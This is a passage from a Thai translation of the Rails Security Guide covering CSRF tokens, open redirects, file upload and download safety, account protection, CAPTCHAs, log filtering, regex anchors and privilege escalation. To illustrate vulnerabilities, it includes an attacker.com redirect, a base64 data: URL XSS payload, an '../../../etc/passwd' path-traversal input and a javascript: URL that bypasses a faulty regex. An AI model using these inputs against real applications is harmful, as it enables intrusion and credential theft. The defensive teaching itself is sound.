เมื่อส่งแบบฟอร์มด้วย Turbo โทเค็นความปลอดภัยจำเป็นเช่นกัน Turbo จะค้นหาโทเค็นในแท็ก csrf
ของเลเอาท์แอปพลิเคชันของคุณและเพิ่มในคำขอในส่วนหัวคำขอ X-CSRF-Token
แท็กเหล่านี้ถูกสร้างขึ้นด้วยเมธอดช่วยใน csrf_meta_tags
erb
<head>
<%= csrf_meta_tags %>
</head>
ซึ่งจะได้ผลลัพธ์เป็น:
<head>
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="THE-TOKEN" />
</head>
เมื่อทำการส่งคำขอ non-GET ของคุณเองจาก JavaScript จะต้องใช้โทเค็นความปลอดภัยด้วยด้วย Rails Request.JS เป็นไลบรารี JavaScript ที่ห่อหุ้มตรรกะในการเพิ่มส่วนหัวคำขอที่จำเป็น
เมื่อใช้ไลบรารีอื่นในการทำการเรียก Ajax จะต้องเพิ่มโทเค็นความปลอดภัยเป็นส่วนหัวเริ่มต้นด้วยตนเอง ในการรับโทเค็นจากแท็ก meta คุณสามารถทำเช่นนี้ได้:
document.head.querySelector("meta[name=csrf-token]")?.content
3.1.3 การล้างคุกกี้ที่ถาวร
การใช้คุกกี้ที่ถาวรเพื่อเก็บข้อมูลผู้ใช้เป็นสิ่งที่ธรรมดา โดยใช้ cookies.permanent
เป็นตัวอย่าง ในกรณีนี้คุกกี้จะไม่ถูกล้างและการป้องกัน CSRF ที่มีอยู่จะไม่มีประสิทธิภาพ หากคุณใช้ร้านค้าคุกกี้ที่แตกต่างจากเซสชันสำหรับข้อมูลนี้ คุณต้องจัดการว่าจะทำอย่างไรกับข้อมูลดังกล่าวเอง:
rescue_from ActionController::InvalidAuthenticityToken do |exception|
sign_out_user # เป็นตัวอย่างเมธอดที่จะทำลายคุกกี้ของผู้ใช้
end
เมธอดด้านบนสามารถวางไว้ใน ApplicationController
และจะถูกเรียกเมื่อโทเค็น CSRF ไม่มีหรือไม่ถูกต้องในคำขอ non-GET
โปรดทราบว่า ช่องโหว่การซ้ำซ้อนระหว่างเว็บไซต์ (XSS) จะทำให้การป้องกัน CSRF ไม่มีประสิทธิภาพ XSS ให้ผู้โจมตีเข้าถึงองค์ประกอบทั้งหมดในหน้าเว็บ ดังนั้นพวกเขาสามารถอ่านโทเค็นความปลอดภัย CSRF จากแบบฟอร์มหรือส่งแบบฟอร์มโดยตรง อ่านเพิ่มเติมเกี่ยวกับ XSS ในภายหลัง.
4 การเปลี่ยนเส้นทางและไฟล์
ชั้นความปลอดภัยหนึ่งของแอปพลิเคชันเว็บคือการใช้การเปลี่ยนเส้นทางและไฟล์
4.1 การเปลี่ยนเส้นทาง
คำเตือน: การเปลี่ยนเส้นทางในแอปพลิเคชันเว็บเป็นเครื่องมือของผู้แฮกเกอร์ที่ถูกประเมินต่ำ: ผู้โจมตีไม่เพียงแค่สามารถส่งผู้ใช้ไปยังเว็บไซต์กับกับดักได้เท่านั้น แต่พวกเขายังสามารถสร้างการโจมตีที่เป็นอิสระได้
เมื่อผู้ใช้ได้รับอนุญาตให้ผ่าน (ส่วนหนึ่งของ) URL เพื่อเปลี่ยนเส้นทาง มันอาจมีช่องโหว่ได้ การโจมตีที่ชัดเจนที่สุดคือการเปลี่ยนเส้นทางผู้ใช้ไปยังแอปพลิเคชันเว็บปลอมที่ดูและรู้สึกเหมือนเดิม การโจมตีแบบฟิชชิ่งเช่นนี้ทำงานโดยการส่งลิงก์ที่ไม่สงสัยในอีเมลถึงผู้ใช้ การฝังลิงก์โดยใช้ XSS ในแอปพลิเคชันเว็บหรือวางลิงก์ในเว็บไซต์ภายนอก มันไม่สงสัยเพราะลิงก์เริ่มต้นด้วย URL ไปยังแอปพลิเคชันเว็บและ URL ไปยังเว็บไซต์ที่เป็นอันตรายถูกซ่อนอยู่ในพารามิเตอร์การเปลี่ยนเส้นทาง: http://www.example.com/site/redirect?to=www.attacker.com นี่คือตัวอย่างของการกระทำที่เก่าแก่:
def legacy
redirect_to(params.update(action: 'main'))
end
นี้จะเปลี่ยนเส้นทางผู้ใช้ไปยังการกระทำหลักหากพวกเขาพยายามเข้าถึงการกระทำเก่า ความตั้งใจคือการรักษาพารามิเตอร์ URL สำหรับการกระทำเก่าและส่งผ่านไปยังการกระทำหลัก อย่างไรก็ตาม มันสามารถถูกใช้โดยผู้โจมตีหากพวกเขารวมคีย์โฮสต์ใน URL:
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
หากอยู่ที่ส่วนสุดท้ายของ URL จะยากที่จะสังเกตเห็นและเปลี่ยนเส้นทางผู้ใช้ไปยังโฮสต์ attacker.com
โดยทั่วไปแล้ว การส่งค่าข้อมูลจากผู้ใช้โดยตรงเข้าสู่ redirect_to
ถือว่าเป็นอันตราย มีวิธีป้องกันง่ายๆ คือ รวมเฉพาะพารามิเตอร์ที่คาดหวังไว้ในการดำเนินการเก่า (อย่างในการใช้วิธีการรายการที่อนุญาต แทนการลบพารามิเตอร์ที่ไม่คาดหวัง) และหากคุณเปลี่ยนเส้นทางไปยัง URL ให้ตรวจสอบด้วยวิธีการรายการที่อนุญาตหรือเช็คด้วย regular expression.
4.1.1 XSS ที่เป็นอิสระ
การเปลี่ยนเส้นทางอื่นและการโจมตี XSS ที่เป็นอิสระทำงานใน Firefox และ Opera โดยใช้โปรโตคอล data โปรโตคอลนี้จะแสดงเนื้อหาของมันโดยตรงในเบราว์เซอร์และสามารถเป็นอะไรก็ได้ตั้งแต่ HTML หรือ JavaScript ไปจนถึงภาพทั้งหมด:
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
ตัวอย่างนี้เป็น JavaScript ที่ถูกเข้ารหัสด้วย Base64 ซึ่งแสดงกล่องข้อความง่ายๆ ใน URL การเปลี่ยนเส้นทาง ผู้โจมตีสามารถเปลี่ยนเส้นทางไปยัง URL นี้พร้อมโค้ดที่เป็นอันตราย ในการป้องกัน อย่าอนุญาตให้ผู้ใช้ส่ง (ส่วนหนึ่งของ) URL ที่จะเปลี่ยนเส้นทางไปยัง.
4.2 การอัปโหลดไฟล์
หมายเหตุ: ตรวจสอบให้แน่ใจว่าการอัปโหลดไฟล์ไม่ได้เขียนทับไฟล์ที่สำคัญและประมวลผลไฟล์มีการดำเนินการแบบไม่เชื่อมต่อกัน
แอปพลิเคชันเว็บหลายๆ แห่งอนุญาตให้ผู้ใช้อัปโหลดไฟล์ ชื่อไฟล์ซึ่งผู้ใช้อาจเลือก (บางส่วน) ควรถูกกรอง เนื่องจากผู้โจมตีอาจใช้ชื่อไฟล์ที่เป็นอันตรายเพื่อเขียนทับไฟล์ใดๆ บนเซิร์ฟเวอร์ หากคุณเก็บไฟล์อัปโหลดที่ /var/www/uploads และผู้ใช้ป้อนชื่อไฟล์เช่น "../../../etc/passwd" อาจเขียนทับไฟล์ที่สำคัญได้ แน่นอนว่าตัวแปลภาษา Ruby จำเป็นต้องมีสิทธิ์ที่เหมาะสมในการดำเนินการ - เป็นเหตุผลเพิ่มเติมในการเรียกใช้เว็บเซิร์ฟเวอร์ ฐานข้อมูลเซิร์ฟเวอร์ และโปรแกรมอื่นๆ ในฐานะผู้ใช้ Unix ที่มีสิทธิ์น้อยกว่า เมื่อกรองชื่อไฟล์ที่ผู้ใช้ป้อนเข้ามา อย่าพยายามลบส่วนที่เป็นอันตราย คิดถึงสถานการณ์ที่แอปพลิเคชันเว็บลบ "../" ทั้งหมดในชื่อไฟล์และผู้โจมตีใช้สตริงเช่น "....//" - ผลลัพธ์จะเป็น "../" ดีที่สุดคือใช้วิธีการรายการที่ได้รับอนุญาต ซึ่งตรวจสอบความถูกต้องของชื่อไฟล์ด้วยชุดตัวอักษรที่ยอมรับ นี่ตรงข้ามกับวิธีการรายการที่ถูกจำกัดซึ่งพยายามลบอักขระที่ไม่ได้รับอนุญาต ในกรณีที่ไม่ใช่ชื่อไฟล์ที่ถูกต้อง ปฏิเสธ (หรือแทนที่อักขระที่ไม่ได้รับอนุญาต) แต่อย่าลบออก นี่คือตัวกรองชื่อไฟล์จากปลั๊กอิน attachment_fu:
def sanitize_filename(filename)
filename.strip.tap do |name|
# หมายเหตุ: File.basename ไม่ทำงานถูกต้องกับเส้นทางของ Windows บน Unix
# รับเฉพาะชื่อไฟล์เท่านั้นไม่รวมถึงเส้นทางทั้งหมด
name.sub!(/\A.*(\\|\/)/, '')
# ในที่สุด แทนที่อักขระที่ไม่ใช่ตัวอักษรตัวเลข ขีดล่าง หรือจุดด้วยขีดล่าง
name.gsub!(/[^\w.-]/, '_')
end
end
ข้อเสียสำคัญของการประมวลผลอัพโหลดไฟล์แบบเสียงซิงโครนัส (เช่นปลั๊กอิน attachment_fu
ที่อาจทำกับภาพ) คือ ความเสี่ยงต่อการโจมตีแบบปฏิเสธบริการ ผู้โจมตีสามารถเริ่มอัพโหลดไฟล์ภาพจากคอมพิวเตอร์หลายเครื่องในรูปแบบเสียงซิงโครนัสซึ่งเพิ่มโหลดของเซิร์ฟเวอร์และอาจทำให้เซิร์ฟเวอร์ล้มเหลวหรือหยุดทำงานได้
วิธีการแก้ไขปัญหานี้คือการ ประมวลผลไฟล์มีเดียแบบไม่เชื่อมต่อกัน: บันทึกไฟล์มีเดียและกำหนดตารางการประมวลผลในฐานข้อมูล กระบวนการที่สองจะดำเนินการประมวลผลไฟล์ในพื้นหลัง
4.3 รหัสที่สามารถรันได้ในการอัปโหลดไฟล์
คำเตือน: รหัสต้นฉบับในไฟล์ที่อัปโหลดอาจถูกรันเมื่อวางไว้ในไดเรกทอรีที่เฉพาะเจาะจง อย่าวางไฟล์อัปโหลดในไดเรกทอรี /public ของ Rails หากเป็นไดเรกทอรีหลักของ Apache
เซิร์ฟเวอร์เว็บ Apache ที่ได้รับความนิยมมีตัวเลือกที่เรียกว่า DocumentRoot นี่คือไดเรกทอรีหลักของเว็บไซต์ ทุกอย่างในต้นไม้ไดเรกทอรีนี้จะถูกให้บริการโดยเซิร์ฟเวอร์เว็บ หากมีไฟล์ที่มีนามสกุลไฟล์ที่กำหนดเฉพาะ รหัสในไฟล์นั้นจะถูกรันเมื่อมีการร้องขอ (อาจต้องตั้งค่าบางอย่าง) ตัวอย่างเช่นไฟล์ PHP และ CGI ตอนนี้พิจารณาถึงสถานการณ์ที่ผู้โจมตีอัปโหลดไฟล์ "file.cgi" ที่มีรหัสภายใน ซึ่งจะถูกรันเมื่อมีคนดาวน์โหลดไฟล์
หาก Apache DocumentRoot ของคุณชี้ไปที่ไดเรกทอรี /public ของ Rails โปรดอย่าวางไฟล์อัปโหลดในนั้น ให้เก็บไฟล์อย่างน้อยหนึ่งระดับขึ้นไป
4.4 การดาวน์โหลดไฟล์
หมายเหตุ: ตรวจสอบให้แน่ใจว่าผู้ใช้ไม่สามารถดาวน์โหลดไฟล์อย่างสมมติได้
เช่นเดียวกับการกรองชื่อไฟล์สำหรับการอัปโหลด คุณต้องกรองชื่อไฟล์สำหรับการดาวน์โหลดด้วย วิธี send_file()
จะส่งไฟล์จากเซิร์ฟเวอร์ไปยังไคลเอ็นต์ หากคุณใช้ชื่อไฟล์ที่ผู้ใช้ป้อนโดยไม่มีการกรอง ผู้ใช้สามารถดาวน์โหลดไฟล์ใดก็ได้:
ruby
send_file('/var/www/uploads/' + params[:filename])
เพียงแค่ส่งชื่อไฟล์เช่น "../../../etc/passwd" เพื่อดาวน์โหลดข้อมูลการเข้าสู่ระบบของเซิร์ฟเวอร์ วิธีการแก้ไขง่ายๆ คือ ตรวจสอบว่าไฟล์ที่ร้องขออยู่ในไดเรกทอรีที่คาดหวังหรือไม่:
basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: 'inline'
วิธีการอื่น (เพิ่มเติม) คือการเก็บชื่อไฟล์ในฐานข้อมูลและตั้งชื่อไฟล์บนดิสก์ตาม id ในฐานข้อมูล นี่เป็นวิธีการที่ดีเพื่อหลีกเลี่ยงการทำงานของโค้ดที่อัปโหลดได้ในไฟล์ ปลั๊กอิน attachment_fu
ทำเช่นนี้ในวิธีที่คล้ายกัน
5 การจัดการผู้ใช้
หมายเหตุ: เกือบทุกแอปพลิเคชันเว็บต้องจัดการการอนุญาตและการรับรองตัวตน แทนที่จะสร้างของคุณเอง ควรใช้ปลั๊กอินที่พบบ่อย แต่อย่าลืมอัปเดตเวอร์ชันอยู่เสมอ มีการปฏิบัติเพิ่มเติมบางอย่างที่สามารถทำให้แอปพลิเคชันของคุณปลอดภัยมากขึ้น
มีปลั๊กอินการรับรองตัวตนหลายรูปแบบสำหรับ Rails ที่ใช้ได้ อย่างดี เช่น devise และ authlogic จัดเก็บรหัสผ่านที่เข้ารหัสด้วยวิธีการแฮชแบบไม่เป็นข้อความธรรมดา ตั้งแต่ Rails 3.1 เรายังสามารถใช้เมธอด has_secure_password
ที่มีอยู่ในตัวเอง ซึ่งรองรับการแฮชรหัสผ่านที่ปลอดภัย การยืนยันและกู้คืน
5.1 การโจมตีด้วยการลอกเข้าบัญชี
หมายเหตุ: การโจมตีด้วยการลอกเข้าบัญชีคือการโจมตีทดลองและผิดพลาดต่อข้อมูลประจำตัวการเข้าสู่ระบบ ป้องกันด้วยข้อความผิดพลาดที่ทั่วไปกว่านั้นและอาจต้องการให้ป้อน CAPTCHA
รายชื่อผู้ใช้สำหรับแอปพลิเคชันเว็บของคุณอาจถูกใช้งานผิดประเภทเพื่อทดสอบรหัสผ่านที่เกี่ยวข้อง เนื่องจากส่วนใหญ่ของผู้คนไม่ได้ใช้รหัสผ่านที่ซับซ้อน รหัสผ่านส่วนใหญ่เป็นการผสมผสานของคำในพจนานุกรมและเลข ดังนั้นโดยใช้รายชื่อผู้ใช้และพจนานุกรม โปรแกรมอัตโนมัติอาจค้นหารหัสผ่านที่ถูกต้องในเวลาไม่กี่นาที
เนื่องจากเหตุนี้ แอปพลิเคชันเว็บส่วนใหญ่จะแสดงข้อความผิดพลาดทั่วไป "ชื่อผู้ใช้หรือรหัสผ่านไม่ถูกต้อง" หากหนึ่งในนั้นไม่ถูกต้อง หากมันบอกว่า "ชื่อผู้ใช้ที่คุณป้อนไม่พบ" ผู้โจมตีสามารถรวบรวมรายชื่อผู้ใช้ได้อัตโนมัติ
อย่างไรก็ตาม สิ่งที่ผู้ออกแบบแอปพลิเคชันเว็บส่วนใหญ่ละเลยคือหน้าลืมรหัสผ่าน หน้าเหล่านี้บ่งบอกว่าชื่อผู้ใช้หรือที่อยู่อีเมลที่ป้อนเข้ามา (ไม่) พบ ซึ่งอนุญาตให้ผู้โจมตีรวบรวมรายชื่อผู้ใช้และใช้กำลังพลในการทดสอบบัญชี
เพื่อลดความเสี่ยงจากการโจมตีเช่นนี้ แสดงข้อความผิดพลาดทั่วไปในหน้าลืมรหัสผ่านด้วย นอกจากนี้คุณยังสามารถ ต้องการให้ป้อน CAPTCHA หลังจากจำนวนการเข้าสู่ระบบล้มเหลวจากที่อยู่ IP บางอย่าง โปรดทราบว่านี่ไม่ใช่การแก้ปัญหาที่มั่นคงสำหรับโปรแกรมอัตโนมัติ เนื่องจากโปรแกรมเหล่านี้อาจเปลี่ยนที่อยู่ IP ของตนเองเท่าที่เป็นไปได้ อย่างไรก็ตาม มันยกระดับอุปสรรคของการโจมตี
5.2 การโจมตีบัญชี
แอปพลิเคชันเว็บหลายๆ อย่างง่ายต่อการโจมตีบัญชีผู้ใช้ ทำไมไม่ลองทำให้ยากขึ้น?
5.2.1 รหัสผ่าน
คิดถึงสถานการณ์ที่ผู้โจมตีได้ขโมยคุกกี้เซสชันของผู้ใช้และสามารถใช้แอปพลิเคชันได้ร่วมกัน หากการเปลี่ยนรหัสผ่านง่าย ผู้โจมตีจะโจมตีบัญชีได้โดยคลิกไม่กี่ครั้ง หรือหากแบบฟอร์มเปลี่ยนรหัสผ่านมีช่องโหว่ CSRF ผู้โจมตีจะสามารถเปลี่ยนรหัสผ่านของเหยื่อได้โดยล่อให้เหยื่อเข้าสู่หน้าเว็บที่มีแท็ก IMG ที่ถูกสร้างขึ้นเพื่อทำ CSRF ในการป้องกันนี้ ทำให้แบบฟอร์มเปลี่ยนรหัสผ่านปลอดภัยจาก CSRF และ ต้องการให้ผู้ใช้ป้อนรหัสผ่านเดิมเมื่อเปลี่ยนรหัสผ่าน
5.2.2 อีเมล
อย่างไรก็ตาม ผู้โจมตียังสามารถเอาบัญชีไปครอบงำโดยการเปลี่ยนที่อยู่อีเมลด้วย หลังจากที่พวกเขาเปลี่ยนแล้ว พวกเขาจะไปที่หน้าลืมรหัสผ่านและรหัสผ่าน (ที่อาจเป็นรหัสผ่านใหม่) จะถูกส่งไปที่อีเมลของผู้โจมตี ในการป้องกันนี้ ต้องการให้ผู้ใช้ป้อนรหัสผ่านเมื่อเปลี่ยนที่อยู่อีเมลด้วย
5.2.3 อื่นๆ
ขึ้นอยู่กับแอปพลิเคชันเว็บของคุณ อาจมีวิธีการอื่นๆ ในการโจมตีบัญชีผู้ใช้ ในกรณีที่มีช่องโหว่ CSRF และ XSS จะช่วยในการโจมตี ตัวอย่างเช่น ช่องโหว่ CSRF ใน Google Mail ในการโจมตีแบบ proof-of-concept ผู้เสียหายจะถูกล่อไปยังเว็บไซต์ที่ควบคุมโดยผู้โจมตี บนเว็บไซต์นั้นจะมีแท็ก IMG ที่ถูกสร้างขึ้นเพื่อส่งคำขอ HTTP GET ที่เปลี่ยนการตั้งค่าตัวกรองของ Google Mail หากเหยื่อเข้าสู่ระบบ Google Mail ผู้โจมตีจะเปลี่ยนตัวกรองเพื่อส่งอีเมลทั้งหมดไปยังที่อยู่อีเมลของพวกเขา ซึ่งเป็นอันตรายเท่ากับการโจมตีบัญชีทั้งหมด ในการป้องกันนี้ ตรวจสอบตรรกะของแอปพลิเคชันของคุณและกำจัดช่องโหว่ทั้งหมดของ XSS และ CSRF
5.3 CAPTCHAs
ข้อมูล: CAPTCHA คือการทดสอบการตอบสนองเพื่อตรวจสอบว่าการตอบสนองไม่ได้ถูกสร้างขึ้นโดยคอมพิวเตอร์ มันถูกใช้บ่อยครั้งเพื่อป้องกันแบบฟอร์มการลงทะเบียนจากผู้โจมตีและแบบฟอร์มคอมเมนต์จากบอทสแปมอัตโนมัติโดยการขอให้ผู้ใช้พิมพ์ตัวอักษรจากรูปภาพที่เบืองต้น นี่คือ CAPTCHA บวก แต่ยังมี CAPTCHA ลบ ความคิดเช่นกัน ความคิดของ CAPTCHA ลบไม่ใช่ให้ผู้ใช้พิสูจน์ว่าเขาเป็นมนุษย์ แต่เปิดเผยว่าหุ่นยนต์เป็นหุ่นยนต์
API CAPTCHA บวกที่ได้รับความนิยมคือ reCAPTCHA ซึ่งแสดงภาพที่เบืองต้นของคำจากหนังสือเก่า มันยังเพิ่มเส้นมุมเอียงแทนพื้นหลังที่เบืองต้นและการบิดเบียนข้อความในระดับสูงบนข้อความเหล่านี้เพราะเหตุผลดังกล่าวถูกแก้ไข นอกจากนี้การใช้ reCAPTCHA ยังช่วยให้หนังสือเก่าถูกดิจิทัลได้อีกด้วย reCAPTCHA ยังเป็นปลั๊กอิน Rails ที่มีชื่อเดียวกับ API เดียวกัน
คุณจะได้รับสองคีย์จาก API คือคีย์สาธารณะและคีย์ส่วนตัว ซึ่งคุณต้องใส่ลงในสภาพแวดล้อม Rails ของคุณ หลังจากนั้นคุณสามารถใช้เมธอด recaptcha_tags ในมุมมอง และเมธอด verify_recaptcha ในคอนโทรลเลอร์ได้ Verify_recaptcha จะคืนค่า false หากการตรวจสอบล้มเหลว ปัญหาของ CAPTCHA คือมีผลกระทบทางลบต่อประสบการณ์ของผู้ใช้ นอกจากนี้ผู้ใช้ที่มีการพิการทางสายตาบางรายพบว่า CAPTCHA ที่บิดเบือนบางประเภทยากในการอ่าน แต่ยังคงว่า CAPTCHA บวกเป็นหนึ่งในวิธีการที่ดีที่สุดในการป้องกันบอททุกประเภทจากการส่งฟอร์ม บอทส่วนใหญ่มีความไม่ชำนาญ พวกเขาค้นหาเว็บและใส่สแปมลงในฟิลด์แบบที่พวกเขาพบได้ทั้งหมด แต่ CAPTCHA ลบล้างใช้ประโยชน์จากนั้นและรวมฟิลด์ "honeypot" ในแบบฟอร์มที่จะถูกซ่อนจากผู้ใช้มนุษย์โดยใช้ CSS หรือ JavaScript
โปรดทราบว่า CAPTCHA ลบล้างมีประสิทธิภาพเฉพาะต่อบอทที่ไม่ชำนาญและไม่เพียงพอที่จะปกป้องแอปพลิเคชันที่สำคัญจากบอทที่เป้าหมาย อย่างไรก็ตาม CAPTCHA ลบล้างและ CAPTCHA บวกสามารถรวมกันเพื่อเพิ่มประสิทธิภาพ เช่น หากฟิลด์ "honeypot" ไม่ว่างเปล่า (ตรวจพบบอท) คุณไม่จำเป็นต้องยืนยัน CAPTCHA บวกซึ่งจะต้องการการร้องขอ HTTPS ไปยัง Google ReCaptcha ก่อนที่จะคำนวณการตอบสนอง
นี่คือบางความคิดเกี่ยวกับวิธีการซ่อนฟิลด์ honeypot โดยใช้ JavaScript และ / หรือ CSS:
- ตำแหน่งของฟิลด์นอกพื้นที่ที่สามารถมองเห็นได้ของหน้าเว็บ
- ทำให้องค์ประกอบเล็กมากหรือเปลี่ยนสีเหมือนกับพื้นหลังของหน้าเว็บ
- ปล่อยให้ฟิลด์แสดงผล แต่บอกผู้ใช้มนุษย์ให้เว้นว่าง
CAPTCHA ลบล้างที่ง่ายที่สุดคือฟิลด์ honeypot ที่ซ่อนอยู่ ที่ฝั่งเซิร์ฟเวอร์คุณจะตรวจสอบค่าของฟิลด์: หากมีข้อความใด ๆ อยู่ในนั้น มันต้องเป็นบอท จากนั้นคุณสามารถเพิกเฉยต่อโพสต์หรือส่งผลลัพธ์บวกกลับ แต่ไม่บันทึกโพสต์ลงในฐานข้อมูล นี่คือวิธีที่บอทจะพอใจและเคลื่อนที่ต่อไป คุณสามารถค้นหา CAPTCHA ลบได้ที่ภายในบล็อกโพสต์ของ Ned Batchelder ที่นี่:
- รวมฟิลด์ที่มีการประทับเวลา UTC ปัจจุบันและตรวจสอบในเซิร์ฟเวอร์ หากเวลาที่แสดงอยู่ในอดีตหรือในอนาคตมากเกินไป แบบฟอร์มจะไม่ถูกต้อง
- สุ่มชื่อฟิลด์
- รวมฟิลด์ฮันนี่พอตต่าง ๆ มากกว่าหนึ่งรูปแบบ รวมถึงปุ่มส่ง
โปรดทราบว่าวิธีนี้จะป้องกันเฉพาะบอทอัตโนมัติเท่านั้น บอทที่เป็นเป้าหมายแบบที่กำหนดเองอาจไม่สามารถหยุดได้ด้วย CAPTCHA ลบนี้ ดังนั้น CAPTCHA ลบอาจไม่เหมาะสำหรับการป้องกันแบบฟอร์มเข้าสู่ระบบ.
5.4 การเข้าสู่ระบบ
คำเตือน: ให้ Rails ไม่เก็บรหัสผ่านในไฟล์บันทึก
ตามค่าเริ่มต้น Rails จะบันทึกการร้องขอทั้งหมดที่เกิดขึ้นในแอปพลิเคชันเว็บ แต่ไฟล์บันทึกอาจเป็นปัญหาความปลอดภัยอย่างมาก เนื่องจากอาจมีข้อมูลการเข้าสู่ระบบ หมายเลขบัตรเครดิต เป็นต้น ดังนั้นเมื่อออกแบบแนวคิดความปลอดภัยของแอปพลิเคชันเว็บคุณควรคิดถึงสิ่งที่จะเกิดขึ้นหากผู้โจมตีได้รับการเข้าถึงเซิร์ฟเวอร์เว็บ (เต็มรูปแบบ) การเข้ารหัสความลับและรหัสผ่านในฐานข้อมูลจะไม่มีประโยชน์เลยหากไฟล์บันทึกรายการรายละเอียดเหล่านั้นถูกแสดงในรูปแบบข้อความธรรมดา คุณสามารถ กรองพารามิเตอร์ร้องขอบางอย่างออกจากไฟล์บันทึก โดยเพิ่มเข้าไปที่ config.filter_parameters
ในการกำหนดค่าแอปพลิเคชัน พารามิเตอร์เหล่านี้จะถูกทำเครื่องหมายว่า [FILTERED] ในไฟล์บันทึก
ruby
config.filter_parameters << :password
หมายเหตุ: พารามิเตอร์ที่ให้มาจะถูกกรองออกโดยการจับคู่กับ regular expression ที่ตรงกันบางส่วน Rails จะเพิ่มรายการของตัวกรองเริ่มต้น เช่น :passw
, :secret
, และ :token
ในไฟล์ initializer ที่เหมาะสม (initializers/filter_parameter_logging.rb
) เพื่อจัดการกับพารามิเตอร์ที่พบบ่อย เช่น password
, password_confirmation
และ my_token
5.5 Regular Expressions
ข้อมูล: ข้อผิดพลาดที่พบบ่อยใน regular expression ของ Ruby คือการจับคู่ต้นและท้ายของสตริงด้วย ^ และ $ แทนที่จะใช้ \A และ \z
Ruby ใช้วิธีการที่ต่างจากภาษาอื่นๆ ในการจับคู่ต้นและท้ายของสตริง ดังนั้น แม้ว่าหนังสือ Ruby และ Rails จะพูดถึงเรื่องนี้ผิด แต่นี่เป็นอันตรายในเรื่องความปลอดภัยอย่างไร? สมมติว่าคุณต้องการที่จะตรวจสอบ URL อย่างไม่เคร่งครัดและคุณใช้ regular expression ง่ายๆ เช่นนี้:
/^https?:\/\/[^\n]+$/i
นี้อาจทำงานได้ดีในภาษาบางภาษา อย่างไรก็ตาม ใน Ruby ^
และ $
จับคู่ต้นและท้ายของ บรรทัด. และดังนั้น URL เช่นนี้จะผ่านตัวกรองโดยไม่มีปัญหา:
javascript:exploit_code();/*
http://hi.com
*/
URL นี้ผ่านตัวกรองเพราะ regular expression ตรงกัน - บรรทัดที่สอง ส่วนที่เหลือไม่สนใจ ตอนนี้จินตนาการว่าเรามีมุมมองที่แสดง URL อย่างนี้:
link_to "Homepage", @user.homepage
ลิงก์ดูเหมือนไม่มีอันตรายต่อผู้เยี่ยมชม แต่เมื่อคลิก จะทำการ execute ฟังก์ชัน JavaScript "exploit_code" หรือ JavaScript อื่น ๆ ที่ผู้โจมตีให้มา
ในการแก้ไข regular expression ควรใช้ \A
และ \z
แทน ^
และ $
ดังนี้:
/\Ahttps?:\/\/[^\n]+\z/i
เนื่องจากนี่เป็นข้อผิดพลาดที่พบบ่อย ตัวตรวจสอบรูปแบบ (validates_format_of) จะเรียกข้อยกเว้นถ้า regular expression ที่ให้มาขึ้นต้นด้วย ^ หรือลงท้ายด้วย $ หากคุณต้องการใช้ ^ และ $ แทน \A และ \z (ซึ่งเป็นเหตุการณ์ที่หายาก) คุณสามารถตั้งค่าตัวเลือก :multiline เป็น true ดังนี้:
# content ควรมีบรรทัด "Meanwhile" ที่ใดก็ได้ในสตริง
validates :content, format: { with: /^Meanwhile$/, multiline: true }
โปรดทราบว่าสิ่งนี้จะป้องกันคุณจากข้อผิดพลาดที่พบบ่อยที่สุดเมื่อใช้ตัวตรวจสอบรูปแบบ - คุณต้องจำไว้เสมอว่า ^ และ $ จับคู่ต้นและท้ายของ บรรทัด ใน Ruby และไม่ใช่ต้นและท้ายของสตริง
5.6 การเพิ่มสิทธิ์
คำเตือน: การเปลี่ยนแปลงพารามิเตอร์เพียงหนึ่งตัวอาจทำให้ผู้ใช้เข้าถึงได้โดยไม่ได้รับอนุญาต โปรดจำไว้ว่าทุกพารามิเตอร์สามารถเปลี่ยนแปลงได้ไม่ว่าจะซ่อนหรือทำให้ซับซ้อนมากเพียงใด
พารามิเตอร์ที่ผู้ใช้อาจแก้ไขได้มากที่สุดคือพารามิเตอร์ id เช่น http://www.domain.com/project/1
โดยที่ 1 เป็น id จะสามารถใช้ได้ใน params ในคอนโทรลเลอร์ ในที่นั้น คุณจะทำอย่างนี้อย่างน้อย:
ruby
@project = Project.find(params[:id])
นี้เหมาะสำหรับบางแอปพลิเคชันเว็บ แต่ไม่เหมาะสมหากผู้ใช้ไม่ได้รับอนุญาตให้ดูโปรเจกต์ทั้งหมด หากผู้ใช้เปลี่ยน id เป็น 42 และไม่ได้รับอนุญาตให้ดูข้อมูลนั้น ผู้ใช้จะสามารถเข้าถึงข้อมูลได้โดยไม่ได้รับอนุญาต แทนที่จะทำเช่นนั้น ควรตรวจสอบสิทธิ์การเข้าถึงของผู้ใช้ด้วยด้วย:
@project = @current_user.projects.find(params[:id])
ขึ้นอยู่กับแอปพลิเคชันเว็บของคุณ อาจมีพารามิเตอร์อื่น ๆ ที่ผู้ใช้สามารถแก้ไขได้ ตามหลักการ ข้อมูลที่ผู้ใช้ป้อนเข้ามาไม่ปลอดภัยจนกว่าจะได้รับการพิสูจน์แล้ว และทุกพารามิเตอร์จากผู้ใช้อาจถูกแก้ไขได้.
อย่าให้ตัวเองหลงเชื่อในความปลอดภัยด้วยการทำให้เข้าใจยากและการรักษาความปลอดภัยด้วย JavaScript เครื่องมือสร้างแอดออนสำหรับ Mozilla Firefox ช่วยให้คุณสามารถตรวจสอบและเปลี่ยนแปลงฟิลด์ที่ซ่อนอยู่ในแบบฟอร์มทุกอันได้ JavaScript สามารถใช้สำหรับตรวจสอบข้อมูลที่ผู้ใช้ป้อนเข้ามา แต่ไม่สามารถป้องกันการโจมตีจากผู้โจมตีที่ส่งคำขอที่เป็นอันตรายด้วยค่าที่ไม่คาดคิดได้ ส่วนส่วนเสริม Firebug สำหรับ Mozilla Firefox บันทึกคำขอทุกคำขอและอาจทำซ้ำและเปลี่ยนแปลงได้ นั่นเป็นวิธีง่ายในการหลีกเลี่ยงการตรวจสอบ JavaScript และยังมีพร็อกซีฝั่งไคลเอ็นต์ที่ช่วยให้คุณสามารถดักจับคำขอและการตอบกลับที่ส่งไปยังอินเทอร์เน็ตได้
6 การฉีด
